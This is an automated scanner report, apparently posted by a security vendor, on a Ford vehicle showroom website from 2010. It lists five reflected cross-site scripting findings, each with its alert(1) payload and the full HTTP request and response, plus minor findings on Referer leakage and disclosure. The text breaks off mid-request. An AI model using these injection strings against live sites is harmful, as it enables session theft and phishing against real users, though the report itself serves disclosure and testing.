Contractor for Hire: Per Minute, Per Day, Bounty Hunting

Example #1: Automated Vulnerability Crawler: $1/min, max charge is US $10 for 200 URL + 10 Params for
CWE-79, CWE-89 and CWE-113 (XSS, SQL Injection and HTTP Header Injection).
Example #2: Hybrid Risk Analysis: $2/min, max charge is US $30 for 200 URL + 10 Params, Manual Testing of High Value URI/Param targets.
Example #3: Penetration Testing: Individual Case Basis, use Live Chat for a Quote.
Example #4: Report generated by XSS.CX at Fri Nov 19 21:16:25 CST 2010.

Cross Site Scripting Reports | Hoyt LLC Research

1. Cross-site scripting (reflected)

1.1. http://www2.showroom.fordvehicles.com/FDShowroom.jsp [branding parameter]

1.2. http://www2.showroom.fordvehicles.com/FDShowroom.jsp [lang parameter]

1.3. http://www2.showroom.fordvehicles.com/FDShowroom.jsp [makeTransition parameter]

1.4. http://www2.showroom.fordvehicles.com/FDShowroom.jsp [name of an arbitrarily supplied request parameter]

1.5. http://www2.showroom.fordvehicles.com/FDShowroom.jsp [referringSite parameter]

2. Cross-domain Referer leakage

3. Email addresses disclosed

4. Credit card numbers disclosed

5. HTML does not specify charset

5.1. http://www2.showroom.fordvehicles.com/FDShowroom/

5.2. http://www2.showroom.fordvehicles.com/FVShowroom/

5.3. http://www2.showroom.fordvehicles.com/fdpresentation/

5.4. http://www2.showroom.fordvehicles.com/static/com/forddirect/application/showroom/basepage/Showroom.html

6. Content type incorrectly stated


1. Cross-site scripting (reflected)  next
There are 5 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www2.showroom.fordvehicles.com/FDShowroom.jsp [branding parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www2.showroom.fordvehicles.com
Path:   /FDShowroom.jsp

Issue detail

The value of the branding request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1553c'%3balert(1)//c939bb738d9 was submitted in the branding parameter. This input was echoed as 1553c';alert(1)//c939bb738d9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /FDShowroom.jsp?branding=11553c'%3balert(1)//c939bb738d9&referringSite=1&lang=en&makeTransition=inventory HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.fordvehicles.com/search/?f%3AsearchInputString=%60&f%3Asearch=+&formID=globalSearchForm
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www2.showroom.fordvehicles.com
Proxy-Connection: Keep-Alive
Cookie: userInfo=country_code=US,region_code=TX,city=DALLAS,county=DALLAS,zip=75201-75212+75214-75254+75258+75260-75267+75270+75275+75277+75283-75287+75294-75295+75301+75303+75310+75312-75313+75315+75320+75323+75326+75336+75339+75342+75346+75353-75357+75359-75360+75363-75364+75367-75368+75370-75374+75376+75378-75382+75386-75398; N1Z4=3eWtBBPhsCR-4jzP2Z0GuHBwTJ8cthcMPgKQF-EbpTxzGQmYEntRODg; FPI=model=Mustang&make=Ford&year=2011&html=false; sessionActive=true; s_cc=true; s_p_s_prop8=natural-referrer; ev_36_getval=20101119%2018; visivalm=0; visivale=0; lastcheck=1; s_sq=fmcfvngprod%2Cfmcglobal%3D%2526pid%253Dfv%25253Asite%252520search%252520results%25253Apage%2525201%2526pidt%253D1%2526oid%253Dhttp%25253A//www2.showroom.fordvehicles.com/FDShowroom.jsp%25253Fbranding%25253D1%252526referringSite%25253D1%252526lang%25253Den%252526makeTransiti%2526ot%253DA%2526oi%253D1589; ev22_getval=%60

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server/6.1.0.29 Apache/2.0.47
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
X-Pad: avoid browser bug
Vary: Accept-Encoding
Date: Sat, 20 Nov 2010 03:07:11 GMT
Connection: close
Content-Length: 115339

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


<html>
<head>
<title>Ford Vehicle Showroom</title>


<script type="text/javascript">
//<![CDATA[
...[SNIP]...
d = false;

var clubWTKWidgets = true;
var urlParamMap = {
'document_referrer':document.referrer,'makeTransition':unescape('inventory'),'Skin':'Mustang','FVS':false,'referringSite':'1'
,'branding':'11553c';alert(1)//c939bb738d9'
,'makeTransition':'inventory'
,'lang':'en'
};

if(typeof urlParamMap.httpReferer != "undefined"){
urlParamMap.httpReferer = escape(urlParamMap.httpReferer);
}
if(typeof urlParamMap.referrerURL !=
...[SNIP]...
1.2. http://www2.showroom.fordvehicles.com/FDShowroom.jsp [lang parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www2.showroom.fordvehicles.com
Path:   /FDShowroom.jsp

Issue detail

The value of the lang request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 65601'%3balert(1)//232fb5331a8 was submitted in the lang parameter. This input was echoed as 65601';alert(1)//232fb5331a8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /FDShowroom.jsp?branding=1&referringSite=1&lang=en65601'%3balert(1)//232fb5331a8&makeTransition=inventory HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.fordvehicles.com/search/?f%3AsearchInputString=%60&f%3Asearch=+&formID=globalSearchForm
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www2.showroom.fordvehicles.com
Proxy-Connection: Keep-Alive
Cookie: userInfo=country_code=US,region_code=TX,city=DALLAS,county=DALLAS,zip=75201-75212+75214-75254+75258+75260-75267+75270+75275+75277+75283-75287+75294-75295+75301+75303+75310+75312-75313+75315+75320+75323+75326+75336+75339+75342+75346+75353-75357+75359-75360+75363-75364+75367-75368+75370-75374+75376+75378-75382+75386-75398; N1Z4=3eWtBBPhsCR-4jzP2Z0GuHBwTJ8cthcMPgKQF-EbpTxzGQmYEntRODg; FPI=model=Mustang&make=Ford&year=2011&html=false; sessionActive=true; s_cc=true; s_p_s_prop8=natural-referrer; ev_36_getval=20101119%2018; visivalm=0; visivale=0; lastcheck=1; s_sq=fmcfvngprod%2Cfmcglobal%3D%2526pid%253Dfv%25253Asite%252520search%252520results%25253Apage%2525201%2526pidt%253D1%2526oid%253Dhttp%25253A//www2.showroom.fordvehicles.com/FDShowroom.jsp%25253Fbranding%25253D1%252526referringSite%25253D1%252526lang%25253Den%252526makeTransiti%2526ot%253DA%2526oi%253D1589; ev22_getval=%60

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server/6.1.0.29 Apache/2.0.47
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
X-Pad: avoid browser bug
Vary: Accept-Encoding
Date: Sat, 20 Nov 2010 03:07:11 GMT
Connection: close
Content-Length: 115339

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


<html>
<head>
<title>Ford Vehicle Showroom</title>


<script type="text/javascript">
//<![CDATA[
...[SNIP]...
r urlParamMap = {
'document_referrer':document.referrer,'makeTransition':unescape('inventory'),'Skin':'Mustang','FVS':false,'referringSite':'1'
,'branding':'1'
,'makeTransition':'inventory'
,'lang':'en65601';alert(1)//232fb5331a8'
};

if(typeof urlParamMap.httpReferer != "undefined"){
urlParamMap.httpReferer = escape(urlParamMap.httpReferer);
}
if(typeof urlParamMap.referrerURL != "undefined"){
urlParamMap.referrerURL = e
...[SNIP]...
1.3. http://www2.showroom.fordvehicles.com/FDShowroom.jsp [makeTransition parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www2.showroom.fordvehicles.com
Path:   /FDShowroom.jsp

Issue detail

The value of the makeTransition request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 67b93'%3balert(1)//711fbffab0c was submitted in the makeTransition parameter. This input was echoed as 67b93';alert(1)//711fbffab0c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /FDShowroom.jsp?branding=1&referringSite=1&lang=en&makeTransition=inventory67b93'%3balert(1)//711fbffab0c HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.fordvehicles.com/search/?f%3AsearchInputString=%60&f%3Asearch=+&formID=globalSearchForm
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www2.showroom.fordvehicles.com
Proxy-Connection: Keep-Alive
Cookie: userInfo=country_code=US,region_code=TX,city=DALLAS,county=DALLAS,zip=75201-75212+75214-75254+75258+75260-75267+75270+75275+75277+75283-75287+75294-75295+75301+75303+75310+75312-75313+75315+75320+75323+75326+75336+75339+75342+75346+75353-75357+75359-75360+75363-75364+75367-75368+75370-75374+75376+75378-75382+75386-75398; N1Z4=3eWtBBPhsCR-4jzP2Z0GuHBwTJ8cthcMPgKQF-EbpTxzGQmYEntRODg; FPI=model=Mustang&make=Ford&year=2011&html=false; sessionActive=true; s_cc=true; s_p_s_prop8=natural-referrer; ev_36_getval=20101119%2018; visivalm=0; visivale=0; lastcheck=1; s_sq=fmcfvngprod%2Cfmcglobal%3D%2526pid%253Dfv%25253Asite%252520search%252520results%25253Apage%2525201%2526pidt%253D1%2526oid%253Dhttp%25253A//www2.showroom.fordvehicles.com/FDShowroom.jsp%25253Fbranding%25253D1%252526referringSite%25253D1%252526lang%25253Den%252526makeTransiti%2526ot%253DA%2526oi%253D1589; ev22_getval=%60

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server/6.1.0.29 Apache/2.0.47
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
X-Pad: avoid browser bug
Vary: Accept-Encoding
Date: Sat, 20 Nov 2010 03:07:12 GMT
Connection: close
Content-Length: 115367

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


<html>
<head>
<title>Ford Vehicle Showroom</title>


<script type="text/javascript">
//<![CDATA[
...[SNIP]...
efined, wtk will NOT load implicitly on DOMReady
var pageRefreshed = false;

var clubWTKWidgets = true;
var urlParamMap = {
'document_referrer':document.referrer,'makeTransition':unescape('inventory67b93';alert(1)//711fbffab0c'),'Skin':'Mustang','FVS':false,'referringSite':'1'
,'branding':'1'
,'makeTransition':'inventory67b93';alert(1)//711fbffab0c'
,'lang':'en'
};

if(typeof urlParamMap.httpReferer != "undefined"){
urlPa
...[SNIP]...
1.4. http://www2.showroom.fordvehicles.com/FDShowroom.jsp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www2.showroom.fordvehicles.com
Path:   /FDShowroom.jsp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5ab00'%3balert(1)//6b000ac3a6b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 5ab00';alert(1)//6b000ac3a6b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /FDShowroom.jsp?5ab00'%3balert(1)//6b000ac3a6b=1 HTTP/1.1
Host: www2.showroom.fordvehicles.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ev22_getval=%60; FPI=model=Mustang&make=Ford&year=2011&html=false; visivalm=0; lastcheck=1; s_sq=%5B%5BB%5D%5D; sessionActive=true; N1Z4=3eWtBBPhsCR-4jzP2Z0GuHBwTJ8cthcMPgKQF-EbpTxzGQmYEntRODg; ev_36_getval=20101119%2018; s_cc=true; NaNurlParamMap=document_referrer=http%3A%2F%2Fwww.fordvehicles.com%2Fsearch%2F%3Ff%253AsearchInputString%3D%2560%26f%253Asearch%3D%2B%26formID%3DglobalSearchForm&makeTransition=inventory&Skin=Mustang&FVS=false&referringSite=1&branding=1&lang=en; s_p_s_prop8=natural-referrer; JSSESSIONID=DE3A8242-54BB-4EE9-9D50-17B3DFD14501; userInfo=country_code=US,region_code=TX,city=DALLAS,county=DALLAS,zip=75201-75212+75214-75254+75258+75260-75267+75270+75275+75277+75283-75287+75294-75295+75301+75303+75310+75312-75313+75315+75320+75323+75326+75336+75339+75342+75346+75353-75357+75359-75360+75363-75364+75367-75368+75370-75374+75376+75378-75382+75386-75398; visivale=0;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server/6.1.0.29 Apache/2.0.47
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
X-Pad: avoid browser bug
Date: Sat, 20 Nov 2010 03:07:07 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 115228

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


<html>
<head>
<title>Ford Vehicle Showroom</title>


<script type="text/javascript">
//<![CDATA[
...[SNIP]...
r is defined, wtk will NOT load implicitly on DOMReady
var pageRefreshed = false;

var clubWTKWidgets = true;
var urlParamMap = {
'document_referrer':document.referrer,'Skin':'Mustang','FVS':false,'5ab00';alert(1)//6b000ac3a6b':'1'
};

if(typeof urlParamMap.httpReferer != "undefined"){
urlParamMap.httpReferer = escape(urlParamMap.httpReferer);
}
if(typeof urlParamMap.referrerURL != "undefined"){
urlParamMap.referrerURL
...[SNIP]...
1.5. http://www2.showroom.fordvehicles.com/FDShowroom.jsp [referringSite parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www2.showroom.fordvehicles.com
Path:   /FDShowroom.jsp

Issue detail

The value of the referringSite request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7db4f'%3balert(1)//f6c6f4c965a was submitted in the referringSite parameter. This input was echoed as 7db4f';alert(1)//f6c6f4c965a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /FDShowroom.jsp?branding=1&referringSite=17db4f'%3balert(1)//f6c6f4c965a&lang=en&makeTransition=inventory HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.fordvehicles.com/search/?f%3AsearchInputString=%60&f%3Asearch=+&formID=globalSearchForm
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www2.showroom.fordvehicles.com
Proxy-Connection: Keep-Alive
Cookie: userInfo=country_code=US,region_code=TX,city=DALLAS,county=DALLAS,zip=75201-75212+75214-75254+75258+75260-75267+75270+75275+75277+75283-75287+75294-75295+75301+75303+75310+75312-75313+75315+75320+75323+75326+75336+75339+75342+75346+75353-75357+75359-75360+75363-75364+75367-75368+75370-75374+75376+75378-75382+75386-75398; N1Z4=3eWtBBPhsCR-4jzP2Z0GuHBwTJ8cthcMPgKQF-EbpTxzGQmYEntRODg; FPI=model=Mustang&make=Ford&year=2011&html=false; sessionActive=true; s_cc=true; s_p_s_prop8=natural-referrer; ev_36_getval=20101119%2018; visivalm=0; visivale=0; lastcheck=1; s_sq=fmcfvngprod%2Cfmcglobal%3D%2526pid%253Dfv%25253Asite%252520search%252520results%25253Apage%2525201%2526pidt%253D1%2526oid%253Dhttp%25253A//www2.showroom.fordvehicles.com/FDShowroom.jsp%25253Fbranding%25253D1%252526referringSite%25253D1%252526lang%25253Den%252526makeTransiti%2526ot%253DA%2526oi%253D1589; ev22_getval=%60

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server/6.1.0.29 Apache/2.0.47
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
X-Pad: avoid browser bug
Vary: Accept-Encoding
Date: Sat, 20 Nov 2010 03:07:11 GMT
Connection: close
Content-Length: 115339

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


<html>
<head>
<title>Ford Vehicle Showroom</title>


<script type="text/javascript">
//<![CDATA[
...[SNIP]...
var pageRefreshed = false;

var clubWTKWidgets = true;
var urlParamMap = {
'document_referrer':document.referrer,'makeTransition':unescape('inventory'),'Skin':'Mustang','FVS':false,'referringSite':'17db4f';alert(1)//f6c6f4c965a'
,'branding':'1'
,'makeTransition':'inventory'
,'lang':'en'
};

if(typeof urlParamMap.httpReferer != "undefined"){
urlParamMap.httpReferer = escape(urlParamMap.httpReferer);
}
if(typeof urlParamMa
...[SNIP]...
2. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www2.showroom.fordvehicles.com
Path:   /FDShowroom.jsp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /FDShowroom.jsp?branding=1&referringSite=1&lang=en&makeTransition=inventory HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.fordvehicles.com/search/?f%3AsearchInputString=%60&f%3Asearch=+&formID=globalSearchForm
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www2.showroom.fordvehicles.com
Proxy-Connection: Keep-Alive
Cookie: userInfo=country_code=US,region_code=TX,city=DALLAS,county=DALLAS,zip=75201-75212+75214-75254+75258+75260-75267+75270+75275+75277+75283-75287+75294-75295+75301+75303+75310+75312-75313+75315+75320+75323+75326+75336+75339+75342+75346+75353-75357+75359-75360+75363-75364+75367-75368+75370-75374+75376+75378-75382+75386-75398; N1Z4=3eWtBBPhsCR-4jzP2Z0GuHBwTJ8cthcMPgKQF-EbpTxzGQmYEntRODg; FPI=model=Mustang&make=Ford&year=2011&html=false; sessionActive=true; s_cc=true; s_p_s_prop8=natural-referrer; ev_36_getval=20101119%2018; visivalm=0; visivale=0; lastcheck=1; s_sq=fmcfvngprod%2Cfmcglobal%3D%2526pid%253Dfv%25253Asite%252520search%252520results%25253Apage%2525201%2526pidt%253D1%2526oid%253Dhttp%25253A//www2.showroom.fordvehicles.com/FDShowroom.jsp%25253Fbranding%25253D1%252526referringSite%25253D1%252526lang%25253Den%252526makeTransiti%2526ot%253DA%2526oi%253D1589; ev22_getval=%60

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server/6.1.0.29 Apache/2.0.47
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
X-Pad: avoid browser bug
Vary: Accept-Encoding
Date: Sat, 20 Nov 2010 03:06:46 GMT
Connection: close
Content-Length: 115311

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


<html>
<head>
<title>Ford Vehicle Showroom</title>


<script type="text/javascript">
//<![CDATA[
...[SNIP]...
<li><a href="http://www.thefordstory.com/" title="Ford Story">The Ford Story</a>
...[SNIP]...
<li><a href="http://www.flmowner.com/servlet/ContentServer?pagename=Owner/Page/HomePage" title="My Ford&trade; Owners&#39; Site">Owners</a>
...[SNIP]...
<li><a mporgnav href="http://www.fordenespanol.com/" onclick="return switchLanguage('es');">En Espa&ntilde;ol</a>
...[SNIP]...
<div class="lower"><a class="spritesV arrowLink" href="http://www.fordcpo.com/ford">Certified Pre-Owned Vehicles</a>
...[SNIP]...
<div class="lower"><a class="spritesV arrowLink" href="http://www.fordcpo.com/ford">Certified Pre-Owned Vehicles</a>
...[SNIP]...
<div class="lower"><a class="spritesV arrowLink" href="http://www.fordcpo.com/ford">Certified Pre-Owned Vehicles</a>
...[SNIP]...
<div class="lower"><a class="spritesV arrowLink" href="http://www.fordcpo.com/ford">Certified Pre-Owned Vehicles</a>
...[SNIP]...
<div class="lower">
<a class="spritesV arrowLink" href="http://www.commtruck.ford.com/" >Commercial Trucks</a>
...[SNIP]...
<div class="lower"><a class="spritesV arrowLink" href="http://www.fordcpo.com/ford">Certified Pre-Owned Vehicles</a>
...[SNIP]...
<div class="lower"><a class="spritesV arrowLink" href="http://www.fordcpo.com/ford">Certified Pre-Owned Vehicles</a>
...[SNIP]...
<span class="more-technologies">
To learn more about other advanced technology features you'll find in Ford vehicles, visit <a class="more-technologies-link" href="http://www.thefordstory.com/smart-technology/">thefordstory.com</a>
...[SNIP]...
<div class="front">
<a href="https://www.onlinevehiclefinancing.com/ovfui/fcovfui?ATD_SERVLET_ACTION=PA&ATD_SERVLET_PAGE_CLASS=AAExternal&WindowStyle=P&SourceOfData=FDV" title="Apply for Credit" rel="apply-credit-link" class="apply-credit-link">
<div class="plac apply-credit">
...[SNIP]...
<div class="front">
<a href="http://www.intelliprice.com/intellipricedealer/start.htm?dealerid=910001" title="Trade-In Value" rel="trade-in-link" class="trade-in-link">
<div class="plac trade-in">
...[SNIP]...
</div>
<a href="http://www.ford.com" class="copyright">&copy; 2010 Ford Motor Company</a>
...[SNIP]...
3. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www2.showroom.fordvehicles.com
Path:   /combined.js.h1081660486.pack

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /combined.js.h1081660486.pack HTTP/1.1
Accept: */*
Referer: http://www2.showroom.fordvehicles.com/FDShowroom.jsp?branding=1&referringSite=1&lang=en&makeTransition=inventory
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www2.showroom.fordvehicles.com
Proxy-Connection: Keep-Alive
Cookie: userInfo=country_code=US,region_code=TX,city=DALLAS,county=DALLAS,zip=75201-75212+75214-75254+75258+75260-75267+75270+75275+75277+75283-75287+75294-75295+75301+75303+75310+75312-75313+75315+75320+75323+75326+75336+75339+75342+75346+75353-75357+75359-75360+75363-75364+75367-75368+75370-75374+75376+75378-75382+75386-75398; N1Z4=3eWtBBPhsCR-4jzP2Z0GuHBwTJ8cthcMPgKQF-EbpTxzGQmYEntRODg; FPI=model=Mustang&make=Ford&year=2011&html=false; sessionActive=true; s_cc=true; s_p_s_prop8=natural-referrer; ev_36_getval=20101119%2018; visivalm=0; visivale=0; lastcheck=1; s_sq=fmcfvngprod%2Cfmcglobal%3D%2526pid%253Dfv%25253Asite%252520search%252520results%25253Apage%2525201%2526pidt%253D1%2526oid%253Dhttp%25253A//www2.showroom.fordvehicles.com/FDShowroom.jsp%25253Fbranding%25253D1%252526referringSite%25253D1%252526lang%25253Den%252526makeTransiti%2526ot%253DA%2526oi%253D1589; ev22_getval=%60

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server/6.1.0.29 Apache/2.0.47
Cache-Control: private
Expires: Mon, 16 Nov 2020 10:09:18 GMT
ETag: pack1081660486
X-Powered-By: pack:tag
Content-Type: text/javascript;charset=utf-8
Content-Language: en-US
Vary: Accept-Encoding
Date: Sat, 20 Nov 2010 03:06:50 GMT
Connection: close
Content-Length: 333889

var log4javascript;(function(){function ff(){return function(){}}function copy(obj,props){for(var i in props){obj[i]=props[i]}}var f=ff();var Logger=ff();copy(Logger.prototype,{addAppender:f,removeApp
...[SNIP]...
<matt@mattkruse.com>
...[SNIP]...
4. Credit card numbers disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www2.showroom.fordvehicles.com
Path:   /services/products/Models.json

Issue detail

The following credit card numbers were disclosed in the response:

Issue background

Responses containing credit card numbers may not represent any security vulnerability - for example, a number may belong to the logged-in user to whom it is displayed. You should verify whether the numbers identified are actually valid credit card numbers and whether their disclosure within the application is appropriate.

Request

GET /services/products/Models.json?make=Ford&returnAttributes=Showroom_.*|ShoppingTools_.*&appContext=SHOWROOM&planType=MSRP HTTP/1.1
Accept: */*
Accept-Language: en-us
Referer: http://www2.showroom.fordvehicles.com/FDShowroom.jsp?branding=1&referringSite=1&lang=en&makeTransition=inventory
x-requested-with: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: www2.showroom.fordvehicles.com
Proxy-Connection: Keep-Alive
